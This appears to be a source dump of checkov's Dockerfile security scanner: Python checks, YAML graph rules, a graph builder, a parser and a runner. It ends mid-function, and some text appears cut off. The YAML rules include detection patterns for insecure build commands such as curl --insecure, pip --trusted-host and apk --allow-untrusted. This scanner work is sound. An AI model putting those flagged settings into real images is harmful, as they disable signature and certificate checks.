_Instruction class HealthcheckExists(BaseDockerfileCheck): def __init__(self) -> None: name = "Ensure that HEALTHCHECK instructions have been added to container images" id = "CKV_DOCKER_2" supported_instructions = ("*",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions) def scan_resource_conf(self, conf: dict[str, list[_Instruction]]) -> tuple[CheckResult, list[_Instruction] | None]: # type:ignore[override] # special wildcard behaviour for instruction, content in conf.items(): if instruction == "HEALTHCHECK": return CheckResult.PASSED, content return CheckResult.FAILED, None check = HealthcheckExists() ================================================ FILE: checkov/dockerfile/checks/MaintainerExists.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.common.models.enums import CheckCategories, CheckResult from checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck if TYPE_CHECKING: from dockerfile_parse.parser import _Instruction class MaintainerExists(BaseDockerfileCheck): def __init__(self) -> None: name = "Ensure that LABEL maintainer is used instead of MAINTAINER (deprecated)" id = "CKV_DOCKER_6" supported_instructions = ("MAINTAINER",) categories = (CheckCategories.CONVENTION,) super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions) def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]: return CheckResult.FAILED, conf check = MaintainerExists() ================================================ FILE: checkov/dockerfile/checks/ReferenceLatestTag.py ================================================ from __future__ import annotations import re from typing import TYPE_CHECKING from checkov.common.models.enums import CheckCategories, CheckResult from checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck if TYPE_CHECKING: from dockerfile_parse.parser import _Instruction MULTI_STAGE_PATTERN = re.compile(r"(?:--platform=\S+\s+)?(\S+)\s+as\s+(\S+)", re.IGNORECASE) class ReferenceLatestTag(BaseDockerfileCheck): def __init__(self) -> None: name = "Ensure the base image uses a non latest version tag" id = "CKV_DOCKER_7" supported_instructions = ("FROM",) categories = (CheckCategories.CONVENTION,) super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions) def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]: stages = [] for content in conf: base_image = content["value"] if " as " in base_image.lower(): # do an initial lookup before using the regex multi_stage = re.match(MULTI_STAGE_PATTERN, base_image) if multi_stage: base_image = multi_stage[1] stages.append(multi_stage[2]) if ":" not in base_image and base_image not in stages and base_image != "scratch": return CheckResult.FAILED, [content] elif base_image.endswith(":latest"): return CheckResult.FAILED, [content] return CheckResult.PASSED, [content] check = ReferenceLatestTag() ================================================ FILE: checkov/dockerfile/checks/RootUser.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.common.models.enums import CheckCategories, CheckResult from checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck if TYPE_CHECKING: from dockerfile_parse.parser import _Instruction class RootUser(BaseDockerfileCheck): def __init__(self) -> None: name = "Ensure the last USER is not root" id = "CKV_DOCKER_8" supported_instructions = ("USER",) categories = (CheckCategories.APPLICATION_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions) def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]: last_user = conf[-1] if last_user["value"] == "root": return CheckResult.FAILED, [last_user] return CheckResult.PASSED, [last_user] check = RootUser() ================================================ FILE: checkov/dockerfile/checks/RunUsingAPT.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.common.models.enums import CheckCategories, CheckResult from checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck if TYPE_CHECKING: from dockerfile_parse.parser import _Instruction class RunUsingAPT(BaseDockerfileCheck): def __init__(self) -> None: """ Apt interface is less stable than apt-get and so this preferred """ name = "Ensure that APT isn't used" id = "CKV_DOCKER_9" supported_instructions = ("RUN",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions) def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]: for run in conf: content = run["content"] # Split the content by '&&' and strip any leading/trailing spaces from each segment commands = [cmd.strip() for cmd in content.split("&&")] for command in commands: # Check if 'apt' is used and it's not part of a 'rm' command if " apt " in command and "rm" not in command: return CheckResult.FAILED, [run] return CheckResult.PASSED, None check = RunUsingAPT() ================================================ FILE: checkov/dockerfile/checks/UpdateNotAlone.py ================================================ from __future__ import annotations import re from typing import TYPE_CHECKING from checkov.common.models.enums import CheckCategories, CheckResult from checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck if TYPE_CHECKING: from dockerfile_parse.parser import _Instruction UPDATE_COMMANDS_PATTERN = re.compile(r"\s+(?:--)?update(?!\S)") install_commands = ( "install", "source-install", "reinstall", "groupinstall", "localinstall", "add", "upgrade" ) class UpdateNotAlone(BaseDockerfileCheck): def __init__(self) -> None: name = "Ensure update instructions are not use alone in the Dockerfile" id = "CKV_DOCKER_5" supported_instructions = ("RUN",) categories = (CheckCategories.APPLICATION_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions) def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]: update_instructions = [] update_cnt = 0 i = 0 for instruction in conf: content = instruction["content"] if instruction["instruction"] in self.supported_instructions: if "update" in content: # do an initial lookup before using the regex if re.search(UPDATE_COMMANDS_PATTERN, content): update_cnt = update_cnt + 1 update_instructions.append(i) if any(x in content for x in install_commands): update_cnt = update_cnt - 1 i = i + 1 if update_cnt <= 0: return CheckResult.PASSED, None output = [] for i in update_instructions: output.append(conf[i]) return CheckResult.FAILED, output check = UpdateNotAlone() ================================================ FILE: checkov/dockerfile/checks/UserExists.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.common.models.enums import CheckCategories, CheckResult from checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck if TYPE_CHECKING: from dockerfile_parse.parser import _Instruction class UserExists(BaseDockerfileCheck): def __init__(self) -> None: name = "Ensure that a user for the container has been created" id = "CKV_DOCKER_3" supported_instructions = ("*",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions) def scan_resource_conf(self, conf: dict[str, list[_Instruction]]) -> tuple[CheckResult, list[_Instruction] | None]: # type:ignore[override] # special wildcard behaviour for instruction, content in conf.items(): if instruction == "USER": return CheckResult.PASSED, content return CheckResult.FAILED, None check = UserExists() ================================================ FILE: checkov/dockerfile/checks/WorkdirIsAbsolute.py ================================================ from __future__ import annotations import re from typing import TYPE_CHECKING from checkov.common.models.enums import CheckCategories, CheckResult from checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck if TYPE_CHECKING: from dockerfile_parse.parser import _Instruction ISABSOLUTE = re.compile('^"?((/[A-Za-z0-9-_+]*)|([A-Za-z0-9-_+]:\\\\.*)|(\\$[{}A-Za-z0-9-_+].*))') class WorkdirIsAbsolute(BaseDockerfileCheck): def __init__(self) -> None: """ For clarity and reliability, you should always use absolute paths for your WORKDIR. """ name = "Ensure that WORKDIR values are absolute paths" id = "CKV_DOCKER_10" supported_instructions = ("WORKDIR",) categories = (CheckCategories.CONVENTION,) super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions) def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]: workdirs = [] for workdir in conf: path = workdir["value"] if isinstance(path, str) and not re.match(ISABSOLUTE, path): workdirs.append(workdir) if workdirs: return CheckResult.FAILED, workdirs return CheckResult.PASSED, None check = WorkdirIsAbsolute() ================================================ FILE: checkov/dockerfile/checks/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/dockerfile/checks/graph_checks/EnvGitSslNoVerify.yaml ================================================ metadata: id: "CKV2_DOCKER_14" name: "Ensure that certificate validation isn't disabled for git by setting the environment variable 'GIT_SSL_NO_VERIFY' to any value" category: "APPLICATION_SECURITY" definition: or: - cond_type: attribute resource_types: - ARG - ENV attribute: value operator: not_regex_match value: "(.*\\s+)?(GIT_SSL_NO_VERIFY(=|\\s+)[^\\s]+).*" - cond_type: attribute resource_types: - RUN attribute: value operator: not_regex_match value: "(.*[\\s;&|]+)?(export\\s+)?(GIT_SSL_NO_VERIFY=(([^\\s]+)|('[^']+')|(\"[^s\"]+\"))).*" ================================================ FILE: checkov/dockerfile/checks/graph_checks/EnvNodeTlsRejectUnauthorized.yaml ================================================ metadata: id: "CKV2_DOCKER_6" name: "Ensure that certificate validation isn't disabled with the NODE_TLS_REJECT_UNAUTHORIZED environment variable" category: "APPLICATION_SECURITY" definition: or: - cond_type: attribute resource_types: - ARG - ENV attribute: value operator: not_regex_match value: "(.*\\s+)?(NODE_TLS_REJECT_UNAUTHORIZED(=|\\s+)((0)|('0')|(\"0\"))).*" - cond_type: attribute resource_types: - RUN attribute: value operator: not_regex_match value: "(.*[\\s;&|]+)?(NODE_TLS_REJECT_UNAUTHORIZED=((0)|('0')|(\"0\"))) .*" ================================================ FILE: checkov/dockerfile/checks/graph_checks/EnvNpmConfigStrictSsl.yaml ================================================ metadata: id: "CKV2_DOCKER_12" name: "Ensure that certificate validation isn't disabled for npm via the 'NPM_CONFIG_STRICT_SSL' environment variable" category: "APPLICATION_SECURITY" definition: or: - cond_type: attribute resource_types: - ARG - ENV attribute: value operator: not_regex_match value: "(.*\\s+)?(((NPM_CONFIG_STRICT_SSL)|(npm_config_strict_ssl))(=|\\s+)((false)|('false')|(\"false\"))).*" - cond_type: attribute resource_types: - RUN attribute: value operator: not_regex_match value: "(.*[\\s;&|]+)?(((NPM_CONFIG_STRICT_SSL)|(npm_config_strict_ssl))=((false)|('false')|(\"false\"))) .*" ================================================ FILE: checkov/dockerfile/checks/graph_checks/EnvPipTrustedHost.yaml ================================================ metadata: id: "CKV2_DOCKER_16" name: "Ensure that certificate validation isn't disabled with pip via the 'PIP_TRUSTED_HOST' environment variable" category: "APPLICATION_SECURITY" definition: or: - cond_type: attribute resource_types: - RUN attribute: value operator: not_regex_match value: "(.*[\\s;&|]+)?(export\\s+)?(PIP_TRUSTED_HOST=(([^\\s]+)|('[^']+')|(\"[^s\"]+\"))).*" - cond_type: attribute resource_types: - ARG - ENV attribute: value operator: not_regex_match value: "(.*\\s+)?(PIP_TRUSTED_HOST(=|\\s+)[^\\s]+).*" ================================================ FILE: checkov/dockerfile/checks/graph_checks/EnvPythonHttpsVerify.yaml ================================================ metadata: id: "CKV2_DOCKER_5" name: "Ensure that certificate validation isn't disabled with the PYTHONHTTPSVERIFY environment variable" category: "APPLICATION_SECURITY" definition: or: - cond_type: attribute resource_types: - ARG - ENV attribute: value operator: not_regex_match value: "(.*\\s+)?(PYTHONHTTPSVERIFY(=|\\s+)((0)|('0')|(\"0\"))).*" - cond_type: attribute resource_types: - RUN attribute: value operator: not_regex_match value: "(.*[\\s;&|]+)?(PYTHONHTTPSVERIFY=((0)|('0')|(\"0\"))) .*" ================================================ FILE: checkov/dockerfile/checks/graph_checks/RunApkAllowUntrusted.yaml ================================================ metadata: id: "CKV2_DOCKER_7" name: "Ensure that packages with untrusted or missing signatures are not used by apk via the '--allow-untrusted' option" category: "APPLICATION_SECURITY" definition: cond_type: attribute resource_types: - RUN attribute: value operator: not_regex_match value: ".*(apk[^\\|&;]*\\s+--allow-untrusted).*" ================================================ FILE: checkov/dockerfile/checks/graph_checks/RunAptGetAllowUnauthenticated.yaml ================================================ metadata: id: "CKV2_DOCKER_8" name: "Ensure that packages with untrusted or missing signatures are not used by apt-get via the '--allow-unauthenticated' option" category: "APPLICATION_SECURITY" definition: cond_type: attribute resource_types: - RUN attribute: value operator: not_regex_match value: ".*(apt-get[^\\|&;]*\\s+--allow-unauthenticated).*" ================================================ FILE: checkov/dockerfile/checks/graph_checks/RunAptGetForceYes.yaml ================================================ metadata: id: "CKV2_DOCKER_11" name: "Ensure that the '--force-yes' option is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state" category: "APPLICATION_SECURITY" definition: cond_type: attribute resource_types: - RUN attribute: value operator: not_regex_match value: ".*(apt-get[^\\|&;]*\\s+--force-yes).*" ================================================ FILE: checkov/dockerfile/checks/graph_checks/RunChpasswd.yaml ================================================ metadata: id: "CKV2_DOCKER_17" name: "Ensure that 'chpasswd' is not used to set or remove passwords" category: "APPLICATION_SECURITY" definition: and: - cond_type: attribute resource_types: - RUN attribute: value operator: not_starting_with value: "chpasswd " - cond_type: attribute resource_types: - RUN attribute: value operator: not_contains value: " chpasswd " - cond_type: attribute resource_types: - RUN attribute: value operator: not_ending_with value: " chpasswd" ================================================ FILE: checkov/dockerfile/checks/graph_checks/RunNpmConfigSetStrictSsl.yaml ================================================ metadata: id: "CKV2_DOCKER_13" name: "Ensure that certificate validation isn't disabled for npm or yarn by setting the option strict-ssl to false" category: "APPLICATION_SECURITY" definition: cond_type: attribute resource_types: - RUN attribute: value operator: not_regex_match value: ".*(((npm)|(yarn))\\s+(c(onfig)?\\s+)?set\\s+((strict-ssl)|(\"strict-ssl\")|('strict-ssl'))((\\s+)|(=))((false)|(\"false\")|('false'))).*" ================================================ FILE: checkov/dockerfile/checks/graph_checks/RunPipTrustedHost.yaml ================================================ metadata: id: "CKV2_DOCKER_4" name: "Ensure that certificate validation isn't disabled with the pip '--trusted-host' option" category: "APPLICATION_SECURITY" definition: cond_type: attribute resource_types: - RUN attribute: value operator: not_regex_match value: ".*(pip3?[^\\|&;]*\\s+--trusted-host).*" ================================================ FILE: checkov/dockerfile/checks/graph_checks/RunRpmNoSignature.yaml ================================================ metadata: id: "CKV2_DOCKER_10" name: "Ensure that packages with untrusted or missing signatures are not used by rpm via the '--nodigest', '--nosignature', '--noverify', or '--nofiledigest' options" category: "APPLICATION_SECURITY" definition: cond_type: attribute resource_types: - RUN attribute: value operator: not_regex_match value: ".*(rpm[^\\|&;]*\\s+--no((digest)|(signature)|(verify)|(filedigest))).*" ================================================ FILE: checkov/dockerfile/checks/graph_checks/RunUnsafeCurl.yaml ================================================ metadata: id: "CKV2_DOCKER_2" name: "Ensure that certificate validation isn't disabled with curl" category: "APPLICATION_SECURITY" definition: cond_type: attribute resource_types: - RUN attribute: value operator: not_regex_match value: ".*(curl[^\\|&;]*\\s+((--insecure)|(-[^-\\s]*k))).*" ================================================ FILE: checkov/dockerfile/checks/graph_checks/RunUnsafeWget.yaml ================================================ metadata: id: "CKV2_DOCKER_3" name: "Ensure that certificate validation isn't disabled with wget" category: "APPLICATION_SECURITY" definition: cond_type: attribute resource_types: - RUN attribute: value operator: not_regex_match value: ".*(wget[^\\|&;]*\\s+--no-check-certificate).*" ================================================ FILE: checkov/dockerfile/checks/graph_checks/RunUsingSudo.yaml ================================================ metadata: id: "CKV2_DOCKER_1" name: "Ensure that sudo isn't used" category: "CONVENTION" definition: and: - cond_type: attribute resource_types: - RUN attribute: value operator: not_contains value: " sudo " - cond_type: attribute resource_types: - RUN attribute: value operator: not_starting_with value: "sudo " ================================================ FILE: checkov/dockerfile/checks/graph_checks/RunYumConfigManagerSslVerify.yaml ================================================ metadata: id: "CKV2_DOCKER_15" name: "Ensure that the yum and dnf package managers are not configured to disable SSL certificate validation via the 'sslverify' configuration option" category: "APPLICATION_SECURITY" definition: cond_type: attribute resource_types: - RUN attribute: value operator: not_regex_match value: "(?i).*(((yum)|(dnf))(\\s+|-)config-manager[^\\|&;]*\\s+--setopt=['\"]?([^=\\s]+\\.)?sslverify['\"]?=((0)|('0')|(\"0\")|(false)|('false')|(\"false\")|(no)|('no')|(\"no\"))['\"]?).*" ================================================ FILE: checkov/dockerfile/checks/graph_checks/RunYumNoGpgCheck.yaml ================================================ metadata: id: "CKV2_DOCKER_9" name: "Ensure that packages with untrusted or missing GPG signatures are not used by dnf, tdnf, or yum via the '--nogpgcheck' option" category: "APPLICATION_SECURITY" definition: cond_type: attribute resource_types: - RUN attribute: value operator: not_regex_match value: ".*(((t?dnf)|(yum))[^\\|&;]*\\s+--nogpgcheck).*" ================================================ FILE: checkov/dockerfile/checks/graph_checks/__init__.py ================================================ ================================================ FILE: checkov/dockerfile/graph_builder/__init__.py ================================================ ================================================ FILE: checkov/dockerfile/graph_builder/graph_components/__init__.py ================================================ ================================================ FILE: checkov/dockerfile/graph_builder/graph_components/resource_types.py ================================================ from enum import Enum class ResourceType(str, Enum): ADD = "ADD" ARG = "ARG" CMD = "CMD" COPY = "COPY" ENTRYPOINT = "ENTRYPOINT" ENV = "ENV" EXPOSE = "EXPOSE" FROM = "FROM" HEALTHCHECK = "HEALTHCHECK" LABEL = "LABEL" MAINTAINER = "MAINTAINER" ONBUILD = "ONBUILD" RUN = "RUN" SHELL = "SHELL" STOPSIGNAL = "STOPSIGNAL" USER = "USER" VOLUME = "VOLUME" WORKDIR = "WORKDIR" def __str__(self) -> str: # needed, because of a Python 3.11 change return self.value ================================================ FILE: checkov/dockerfile/graph_builder/local_graph.py ================================================ from __future__ import annotations import logging from typing import TYPE_CHECKING, Any from checkov.bicep.graph_builder.graph_components.block_types import BlockType from checkov.common.graph.graph_builder import Edge, CustomAttributes from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.graph.graph_builder.graph_components.blocks import Block from checkov.common.graph.graph_builder.local_graph import LocalGraph from checkov.common.util.consts import START_LINE, END_LINE from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.dockerfile.graph_builder.graph_components.resource_types import ResourceType from checkov.dockerfile.utils import DOCKERFILE_STARTLINE, DOCKERFILE_ENDLINE if TYPE_CHECKING: from dockerfile_parse.parser import _Instruction # only in extra_stubs from checkov.common.graph.graph_builder.local_graph import _Block class DockerfileLocalGraph(LocalGraph[Block]): def __init__(self, definitions: dict[str, dict[str, list[_Instruction]]]) -> None: super().__init__() self.vertices: list[Block] = [] self.definitions = definitions self.vertices_by_path_and_name: dict[tuple[str, str], int] = {} def build_graph(self, render_variables: bool = False) -> None: self._create_vertices() logging.debug(f"[DockerfileLocalGraph] created {len(self.vertices)} vertices") for i, vertex in enumerate(self.vertices): self.vertices_by_block_type[vertex.block_type].append(i) self.vertices_block_name_map[vertex.block_type][vertex.name].append(i) self.vertices_by_path_and_name[(vertex.path, vertex.name)] = i self.in_edges[i] = [] self.out_edges[i] = [] self._create_edges() logging.debug(f"[DockerfileLocalGraph] created {len(self.edges)} edges") def _create_vertices(self) -> None: for file_path, definition in self.definitions.items(): for instruction_type, instructions in definition.items(): self._create_instruction_vertices( file_path=file_path, instruction_type=instruction_type, instructions=instructions, ) def _create_instruction_vertices( self, file_path: str, instruction_type: str, instructions: list[_Instruction] ) -> None: """Creates supported 'instruction_type' vertices""" if instruction_type == "COMMENT": # not interested in comments return for instruction in instructions: resource_type = ResourceType.__dict__.get(instruction_type) if not resource_type: logging.warning(f"An unsupported instruction {instruction_type} was used in {file_path}") continue config = { "content": instruction["content"], "value": instruction["value"], START_LINE: instruction[DOCKERFILE_STARTLINE], END_LINE: instruction[DOCKERFILE_ENDLINE], } attributes = pickle_deepcopy(config) attributes[CustomAttributes.RESOURCE_TYPE] = resource_type self.vertices.append( Block( name=resource_type, config=config, path=file_path, block_type=BlockType.RESOURCE, attributes=attributes, id=resource_type, source=GraphSource.DOCKERFILE, ) ) def _create_edges(self) -> None: pass def _create_edge(self, origin_vertex_index: int, dest_vertex_index: int, label: str = "default") -> None: if origin_vertex_index == dest_vertex_index: # this should not happen return edge = Edge(origin_vertex_index, dest_vertex_index, label) self.edges.append(edge) self.out_edges[origin_vertex_index].append(edge) self.in_edges[dest_vertex_index].append(edge) def update_vertices_configs(self) -> None: # not used pass @staticmethod def update_vertex_config( vertex: _Block, changed_attributes: list[str] | dict[str, Any], has_dynamic_blocks: bool = False ) -> None: # not used pass def get_resources_types_in_graph(self) -> list[str]: # not used return [] ================================================ FILE: checkov/dockerfile/graph_manager.py ================================================ from __future__ import annotations import os from typing import TYPE_CHECKING, Any, Optional from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.graph.graph_manager import GraphManager from checkov.dockerfile.graph_builder.local_graph import DockerfileLocalGraph from checkov.dockerfile.utils import get_scannable_file_paths, get_files_definitions if TYPE_CHECKING: from checkov.common.typing import LibraryGraphConnector from dockerfile_parse.parser import _Instruction # only in extra_stubs class DockerfileGraphManager(GraphManager[DockerfileLocalGraph, "dict[str, dict[str, list[_Instruction]]]"]): def __init__(self, db_connector: LibraryGraphConnector, source: str = GraphSource.DOCKERFILE) -> None: super().__init__(db_connector=db_connector, parser=None, source=source) def build_graph_from_source_directory( self, source_dir: str, local_graph_class: type[DockerfileLocalGraph] = DockerfileLocalGraph, render_variables: bool = True, parsing_errors: Optional[dict[str, Exception]] = None, download_external_modules: Optional[bool] = False, excluded_paths: Optional[list[str]] = None, **kwargs: Any, ) -> tuple[DockerfileLocalGraph, dict[str, dict[str, list[_Instruction]]]]: file_paths = get_scannable_file_paths(root_folder=source_dir, excluded_paths=excluded_paths) filepath_fn = lambda f: f"/{os.path.relpath(f, os.path.commonprefix((source_dir, f)))}" definitions, _ = get_files_definitions(files=file_paths, filepath_fn=filepath_fn) local_graph = self.build_graph_from_definitions(definitions=definitions) return local_graph, definitions def build_graph_from_definitions( self, definitions: dict[str, dict[str, list[_Instruction]]], render_variables: bool = False, ) -> DockerfileLocalGraph: local_graph = DockerfileLocalGraph(definitions=definitions) local_graph.build_graph(render_variables=render_variables) return local_graph ================================================ FILE: checkov/dockerfile/image_referencer/__init__.py ================================================ ================================================ FILE: checkov/dockerfile/image_referencer/manager.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.dockerfile.image_referencer.provider import DockerfileProvider if TYPE_CHECKING: from checkov.common.images.image_referencer import Image from dockerfile_parse.parser import _Instruction class DockerfileImageReferencerManager: __slots__ = ("definitions",) def __init__(self, definitions: dict[str, dict[str, list[_Instruction]]]) -> None: self.definitions = definitions def extract_images_from_resources(self) -> list[Image]: provider = DockerfileProvider(definitions=self.definitions) images = provider.extract_images_from_resources() return images ================================================ FILE: checkov/dockerfile/image_referencer/provider.py ================================================ from __future__ import annotations import os from typing import TYPE_CHECKING, Callable, Any from checkov.common.images.image_referencer import Image from checkov.common.util.str_utils import removeprefix from checkov.dockerfile.utils import DOCKERFILE_STARTLINE, DOCKERFILE_ENDLINE if TYPE_CHECKING: from dockerfile_parse.parser import _Instruction from typing_extensions import TypeAlias _ExtractImagesCallableAlias: TypeAlias = Callable[["dict[str, Any]"], "list[str]"] class DockerfileProvider: __slots__ = ("definitions",) def __init__(self, definitions: dict[str, dict[str, list[_Instruction]]]) -> None: self.definitions = definitions def extract_images_from_resources(self) -> list[Image]: images = [] for file_path, config in self.definitions.items(): instructions = config.get("FROM") if not isinstance(instructions, list): continue # just scan the last one instruction = instructions[-1] name = instruction["value"] if name.startswith("--platform"): # indicates a multi-platform build, therefore skip it # ex. FROM --platform=$BUILDPLATFORM golang:alpine AS build continue if " AS " in name: # indicates a multi-stage build, therefore remove everything starting from AS # ex. FROM amazonlinux:2 as run name = name.split(" AS ")[0] file_path = f'{removeprefix(file_path, os.getenv("BC_ROOT_DIR", ""))}' images.append( Image( file_path=file_path, name=name, start_line=instruction[DOCKERFILE_STARTLINE] + 1, # starts with 0 end_line=instruction[DOCKERFILE_ENDLINE] + 1, related_resource_id=f'{file_path}:{file_path}.FROM', ) ) return images ================================================ FILE: checkov/dockerfile/parser.py ================================================ from __future__ import annotations from collections import OrderedDict from pathlib import Path from typing import TYPE_CHECKING import io from dockerfile_parse import DockerfileParser from dockerfile_parse.constants import COMMENT_INSTRUCTION from checkov.common.typing import _SkippedCheck from checkov.common.util.suppression import collect_suppressions_for_context if TYPE_CHECKING: from dockerfile_parse.parser import _Instruction # only in extra_stubs def parse(filename: str | Path) -> tuple[dict[str, list[_Instruction]], list[str]]: with open(filename) as dockerfile: content = dockerfile.read() converted_content = convert_multiline_commands(content) dfp = DockerfileParser(fileobj=io.StringIO(converted_content)) return dfp_group_by_instructions(dfp) def dfp_group_by_instructions(dfp: DockerfileParser) -> tuple[dict[str, list[_Instruction]], list[str]]: result: dict[str, list[_Instruction]] = OrderedDict() for instruction in dfp.structure: instruction_literal = instruction["instruction"] if instruction_literal not in result: result[instruction_literal] = [] result[instruction_literal].append(instruction) return result, dfp.lines def collect_skipped_checks(parse_result: dict[str, list[_Instruction]]) -> list[_SkippedCheck]: skipped_checks = [] if COMMENT_INSTRUCTION in parse_result: # line number doesn't matter comment_lines = [(0, comment["value"]) for comment in parse_result[COMMENT_INSTRUCTION]] skipped_checks = collect_suppressions_for_context(code_lines=comment_lines) return skipped_checks def convert_multiline_commands(dockerfile_content: str) -> str: lines = dockerfile_content.splitlines() converted_lines = [] in_multiline = False multiline_command: list[str] = [] for line in lines: if line.strip().startswith('RUN < None: super().__init__() db_connector = db_connector or self.db_connector self.graph_class = graph_class self.graph_manager = ( graph_manager if graph_manager else DockerfileGraphManager(source=source, db_connector=db_connector) ) self.graph_registry = get_graph_checks_registry(self.check_type) self.context: _DockerfileContext = {} self.definitions: _DockerfileDefinitions = {} self.definitions_raw: "dict[str, list[str]]" = {} # type:ignore[assignment] self.root_folder: str | None = None def should_scan_file(self, filename: str) -> bool: return is_dockerfile(os.path.basename(filename)) def run( self, root_folder: str | None = None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() report = Report(self.check_type) if not self.context or not self.definitions: files_list: "Iterable[str]" = [] filepath_fn = None if external_checks_dir: for directory in external_checks_dir: registry.load_external_checks(directory) if self.graph_registry: self.graph_registry.load_external_checks(directory) if files: files_list = [file for file in files if is_dockerfile(os.path.basename(file))] if root_folder: filepath_fn = lambda f: f"/{os.path.relpath(f, os.path.commonprefix((root_folder, f)))}" self.root_folder = root_folder files_list = get_scannable_file_paths(root_folder=root_folder, excluded_paths=runner_filter.excluded_paths) self.definitions, self.definitions_raw = get_files_definitions(files_list, filepath_fn) self.context = build_definitions_context(definitions=self.definitions, definitions_raw=self.definitions_raw) if self.graph_registry and self.graph_manager: logging.info("Creating Dockerfile graph") local_graph = self.graph_manager.build_graph_from_definitions(definitions=self.definitions) logging.info("Successfully created Dockerfile graph") self.graph_manager.save_graph(local_graph) self.pbar.initiate(len(self.definitions)) # run Python checks self.add_python_check_results(report=report, runner_filter=runner_filter, root_folder=root_folder) # run graph checks if self.graph_registry: self.add_graph_check_results(report=report, runner_filter=runner_filter, root_folder=root_folder) if runner_filter.run_image_referencer: if files: # 'root_folder' shouldn't be empty to remove the whole path later and only leave the shortened form root_folder = os.path.split(os.path.commonprefix(files))[0] image_report = self.check_container_image_references( root_path=root_folder, runner_filter=runner_filter, definitions=self.definitions, ) if image_report: # due too many tests failing only return a list, if there is an image report return [report, image_report] return report def add_python_check_results(self, report: Report, runner_filter: RunnerFilter, root_folder: str | None) -> None: """Adds Python check results to given report""" for dockerfile_path, instructions in self.definitions.items(): self.pbar.set_additional_data({"Current File Scanned": os.path.relpath(dockerfile_path, root_folder)}) file_abs_path = get_abs_path(root_folder=root_folder, file_path=dockerfile_path) report.add_resource(file_abs_path) skipped_checks = collect_skipped_checks(instructions) results = registry.scan(dockerfile_path, instructions, skipped_checks, runner_filter) if results: for check, check_result in results.items(): result_configuration = check_result["results_configuration"] startline = 0 endline = len(self.definitions_raw[dockerfile_path]) - 1 result_instruction = "" if result_configuration: if isinstance(result_configuration, list): for res in result_configuration: startline = res[DOCKERFILE_STARTLINE] endline = res[DOCKERFILE_ENDLINE] result_instruction = res["instruction"] self.build_record( report, self.definitions_raw, dockerfile_path, file_abs_path, check, check_result, startline, endline, result_instruction, ) else: startline = result_configuration[DOCKERFILE_STARTLINE] endline = result_configuration[DOCKERFILE_ENDLINE] result_instruction = result_configuration["instruction"] self.build_record( report, self.definitions_raw, dockerfile_path, file_abs_path, check, check_result, startline, endline, result_instruction, ) else: self.build_record( report, self.definitions_raw, dockerfile_path, file_abs_path, check, check_result, startline, endline, result_instruction, ) else: report.extra_resources.add( ExtraResource( file_abs_path=file_abs_path, file_path=dockerfile_path, resource=dockerfile_path, ) ) self.pbar.update() self.pbar.close() def add_graph_check_results(self, report: Report, runner_filter: RunnerFilter, root_folder: str | None) -> None: """Adds graph check results to given report""" graph_checks_results = self.run_graph_checks_results(runner_filter, self.check_type) for check, check_results in graph_checks_results.items(): for check_result in check_results: entity = check_result["entity"] entity_file_path: str = entity[CustomAttributes.FILE_PATH] file_abs_path = get_abs_path(root_folder=root_folder, file_path=entity_file_path) resource_type: str = entity[CustomAttributes.RESOURCE_TYPE] start_line = entity[START_LINE] end_line = entity[END_LINE] self.build_record( report=report, definitions_raw=self.definitions_raw, dockerfile_path=entity_file_path, file_abs_path=file_abs_path, check=check, check_result=check_result, startline=start_line, endline=end_line, result_instruction=resource_type, ) def calc_record_codeblock( self, codeblock: list[tuple[int, str]], definitions_raw: dict[str, list[str]], dockerfile_path: str, endline: int, startline: int, ) -> None: for line in range(startline, endline + 1): codeblock.append((line + 1, definitions_raw[dockerfile_path][line])) def build_record( self, report: Report, definitions_raw: dict[str, list[str]], dockerfile_path: str, file_abs_path: str, check: BaseCheck | BaseGraphCheck, check_result: _CheckResult, startline: int, endline: int, result_instruction: str, ) -> None: codeblock: list[tuple[int, str]] = [] if result_instruction: entity_context = next( ( resource for resource in self.context[dockerfile_path][result_instruction] if resource["start_line"] == startline + 1 ), None, ) if entity_context: codeblock = entity_context["code_lines"] skipped_check = next( ( skipped_check for skipped_check in entity_context.get("skipped_checks", []) if skipped_check["id"] in (check.id, check.bc_id) ), None, ) if 